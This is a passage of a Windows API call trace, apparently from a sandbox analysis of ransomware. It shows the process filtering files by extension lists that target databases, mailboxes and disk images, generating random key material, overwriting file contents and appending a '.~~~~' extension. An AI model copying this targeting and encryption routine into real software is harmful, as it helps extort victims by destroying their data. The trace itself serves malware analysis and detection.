	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0083.955] lstrlenW (lpString=".dbt") returned 4
	[0083.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0083.955] lstrlenW (lpString=".db") returned 3
	[0083.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0083.956] lstrlenW (lpString=".TXT") returned 4
	[0083.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0083.956] lstrlenW (lpString=".MDF") returned 4
	[0083.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0083.956] lstrlenW (lpString=".bdb") returned 4
	[0083.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0083.956] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0083.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.956] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0083.958] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.958] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0083.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0083.958] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20394805588) returned 1
	[0083.958] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9be08270, dwHighDateTime=0x1d60e1e)) 
	[0083.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0083.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0083.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0083.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a23a0
	[0083.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a23a0 | out: hHeap=0x300000) returned 1
	[0083.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab2d0
	[0083.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab2d0 | out: hHeap=0x300000) returned 1
	[0083.959] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0083.959] GetLastError () returned 0x0
	[0083.959] GetLastError () returned 0x0
	[0083.959] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0083.959] GetLastError () returned 0x0
	[0083.959] GetLastError () returned 0x0
	[0084.067] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffaf3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.068] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x50d, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x50d, lpOverlapped=0x0) returned 1
	[0084.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.070] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.070] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.070] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.070] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.070] CloseHandle (hObject=0x124) returned 1
	[0084.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6dc8
	[0084.070] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.~~~~")) returned 1
	[0084.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6dc8 | out: hHeap=0x300000) returned 1
	[0084.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.071] GetLastError () returned 0x0
	[0084.071] RtlWakeConditionVariable () returned 0x365f70
	[0084.071] GetCurrentThreadId () returned 0x9f4
	[0084.071] GetCurrentThreadId () returned 0x9f4
	[0084.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6dc8
	[0084.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6f38 | out: hHeap=0x300000) returned 1
	[0084.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0084.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6f38
	[0084.071] lstrlenW (lpString=".scr") returned 4
	[0084.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".scr") returned 0x0
	[0084.071] lstrlenW (lpString=".cmd") returned 4
	[0084.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".cmd") returned 0x0
	[0084.071] lstrlenW (lpString=".dll") returned 4
	[0084.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".dll") returned 0x0
	[0084.071] lstrlenW (lpString=".bat") returned 4
	[0084.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".bat") returned 0x0
	[0084.071] lstrlenW (lpString=".cpl") returned 4
	[0084.071] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".cpl") returned 0x0
	[0084.071] lstrlenW (lpString=".sys") returned 4
	[0084.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".sys") returned 0x0
	[0084.072] lstrlenW (lpString=".msc") returned 4
	[0084.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".msc") returned 0x0
	[0084.072] lstrlenW (lpString=".com") returned 4
	[0084.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".com") returned 0x0
	[0084.072] lstrlenW (lpString=".lnk") returned 4
	[0084.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".lnk") returned 0x0
	[0084.072] lstrlenW (lpString=".msp") returned 4
	[0084.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".msp") returned 0x0
	[0084.072] lstrlenW (lpString=".pif") returned 4
	[0084.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".pif") returned 0x0
	[0084.072] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.072] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0084.178] lstrlenW (lpString=".sqb") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".sqb") returned 0x0
	[0084.178] lstrlenW (lpString=".ost") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".ost") returned 0x0
	[0084.178] lstrlenW (lpString=".txt") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".txt") returned 0x0
	[0084.178] lstrlenW (lpString=".mdt") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".mdt") returned 0x0
	[0084.178] lstrlenW (lpString=".BDB") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".BDB") returned 0x0
	[0084.178] lstrlenW (lpString=".eql") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".eql") returned 0x0
	[0084.178] lstrlenW (lpString=".DBF") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".DBF") returned 0x0
	[0084.178] lstrlenW (lpString=".EQL") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".EQL") returned 0x0
	[0084.178] lstrlenW (lpString=".FDB") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".FDB") returned 0x0
	[0084.178] lstrlenW (lpString=".EDB") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".EDB") returned 0x0
	[0084.178] lstrlenW (lpString=".DACPAC") returned 7
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".DACPAC") returned 0x0
	[0084.178] lstrlenW (lpString=".VHD") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".VHD") returned 0x0
	[0084.178] lstrlenW (lpString=".DBV") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".DBV") returned 0x0
	[0084.178] lstrlenW (lpString=".dacpac") returned 7
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".dacpac") returned 0x0
	[0084.178] lstrlenW (lpString=".sdf") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".sdf") returned 0x0
	[0084.178] lstrlenW (lpString=".accdb") returned 6
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".accdb") returned 0x0
	[0084.178] lstrlenW (lpString=".DBX") returned 4
	[0084.178] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".DBX") returned 0x0
	[0084.179] lstrlenW (lpString=".MDT") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".MDT") returned 0x0
	[0084.179] lstrlenW (lpString=".SQB") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".SQB") returned 0x0
	[0084.179] lstrlenW (lpString=".vhd") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".vhd") returned 0x0
	[0084.179] lstrlenW (lpString=".bac") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".bac") returned 0x0
	[0084.179] lstrlenW (lpString=".mdf") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".mdf") returned 0x0
	[0084.179] lstrlenW (lpString=".BAK") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".BAK") returned 0x0
	[0084.179] lstrlenW (lpString=".BAC") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".BAC") returned 0x0
	[0084.179] lstrlenW (lpString=".dbs") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".dbs") returned 0x0
	[0084.179] lstrlenW (lpString=".vhdx") returned 5
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".vhdx") returned 0x0
	[0084.179] lstrlenW (lpString=".NDF") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".NDF") returned 0x0
	[0084.179] lstrlenW (lpString=".dat") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".dat") returned 0x0
	[0084.179] lstrlenW (lpString=".DBS") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".DBS") returned 0x0
	[0084.179] lstrlenW (lpString=".CKP") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".CKP") returned 0x0
	[0084.179] lstrlenW (lpString=".edb") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".edb") returned 0x0
	[0084.179] lstrlenW (lpString=".PST") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".PST") returned 0x0
	[0084.179] lstrlenW (lpString=".dbf") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".dbf") returned 0x0
	[0084.179] lstrlenW (lpString=".SQL") returned 4
	[0084.179] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".SQL") returned 0x0
	[0084.179] lstrlenW (lpString=".pst") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".pst") returned 0x0
	[0084.180] lstrlenW (lpString=".dbv") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".dbv") returned 0x0
	[0084.180] lstrlenW (lpString=".SDF") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".SDF") returned 0x0
	[0084.180] lstrlenW (lpString=".dtxs") returned 5
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".dtxs") returned 0x0
	[0084.180] lstrlenW (lpString=".db3") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".db3") returned 0x0
	[0084.180] lstrlenW (lpString=".OST") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".OST") returned 0x0
	[0084.180] lstrlenW (lpString=".dbx") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".dbx") returned 0x0
	[0084.180] lstrlenW (lpString=".DB3") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".DB3") returned 0x0
	[0084.180] lstrlenW (lpString=".DAT") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".DAT") returned 0x0
	[0084.180] lstrlenW (lpString=".VHDX") returned 5
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".VHDX") returned 0x0
	[0084.180] lstrlenW (lpString=".ndf") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".ndf") returned 0x0
	[0084.180] lstrlenW (lpString=".DB") returned 3
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".DB") returned 0x0
	[0084.180] lstrlenW (lpString=".sql") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".sql") returned 0x0
	[0084.180] lstrlenW (lpString=".MYD") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".MYD") returned 0x0
	[0084.180] lstrlenW (lpString=".DBT") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".DBT") returned 0x0
	[0084.180] lstrlenW (lpString=".ACCDB") returned 6
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".ACCDB") returned 0x0
	[0084.180] lstrlenW (lpString=".fdb") returned 4
	[0084.180] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".fdb") returned 0x0
	[0084.181] lstrlenW (lpString=".bak") returned 4
	[0084.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".bak") returned 0x0
	[0084.181] lstrlenW (lpString=".myd") returned 4
	[0084.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".myd") returned 0x0
	[0084.181] lstrlenW (lpString=".DTXS") returned 5
	[0084.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".DTXS") returned 0x0
	[0084.181] lstrlenW (lpString=".ckp") returned 4
	[0084.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".ckp") returned 0x0
	[0084.181] lstrlenW (lpString=".dbt") returned 4
	[0084.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".dbt") returned 0x0
	[0084.181] lstrlenW (lpString=".db") returned 3
	[0084.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".db") returned 0x0
	[0084.181] lstrlenW (lpString=".TXT") returned 4
	[0084.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".TXT") returned 0x0
	[0084.181] lstrlenW (lpString=".MDF") returned 4
	[0084.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".MDF") returned 0x0
	[0084.181] lstrlenW (lpString=".bdb") returned 4
	[0084.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".bdb") returned 0x0
	[0084.181] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0084.181] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.181] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0084.182] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.182] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0084.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.182] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20417235670) returned 1
	[0084.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c01d5b0, dwHighDateTime=0x1d60e1e)) 
	[0084.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0084.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0084.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0084.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2678
